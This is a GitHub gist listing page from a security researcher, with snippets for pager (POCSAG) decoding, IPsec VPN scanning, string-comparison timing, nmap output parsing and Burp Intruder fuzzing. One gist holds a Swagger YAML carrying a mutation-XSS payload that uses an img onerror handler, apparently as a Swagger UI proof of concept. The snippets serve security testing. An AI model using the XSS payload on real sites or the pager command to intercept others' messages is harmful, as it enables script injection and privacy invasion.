Skip to content

Instantly share code, notes, and snippets.

View alexlauerman's full-sized avatar

Alex Lauerman alexlauerman

View GitHub Profile
rtl_fm -f 152.143e6 -g 100 -s 22050 -l 25 - | multimon-ng -t raw -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -f alpha /dev/stdin
###############################################################################
### iker.py
###
### This tool can be used to analyse the security of a IPsec based VPN.
###
### This script is under GPL v3 License:
###
### http://www.gnu.org/licenses/gpl-3.0.html
###
### From a IP address/range or a list of them, iker.py uses ike-scan to
@alexlauerman
alexlauerman / test.cpp
Created February 4, 2014 17:54
Timing string comparisons
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
using namespace std;
// this is just strcmp() wrapped in timer calls
bool CheckEqual(char* a, char* b, bool show)
{
int i, r, trv;
@alexlauerman
alexlauerman / nmapParse.py
Last active August 9, 2021 15:17
For extracting data (ports and hosts lists) from an nmap scan
#!/usr/bin/env python
#install requirements: pip install python-libnmap
#uses python 2
#usage is something like ./python nmapParse.py scan.xml
from libnmap.parser import NmapParser
import sys
swagger: '2.0'
info:
title: Classic API Resource Documentation
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
{
"url": "https://gist.githubusercontent.com/alexlauerman/614a244f88ccbd6eff078d9d616520b7/raw/54d93b7fe4e85652f7b16d2c4040418483282d19/test.yaml",
"urls": [{
"url": "https://gist.githubusercontent.com/alexlauerman/614a244f88ccbd6eff078d9d616520b7/raw/54d93b7fe4e85652f7b16d2c4040418483282d19/test.yaml",
"name": "Foo"
}]
}
@alexlauerman
alexlauerman / printableASCII
Created January 22, 2014 23:46
All printable ASCII for Burp Intruder #python >>> import strings >>> for i in string.printable: ... print i
0
1
2
3
4
5
6
7
8
9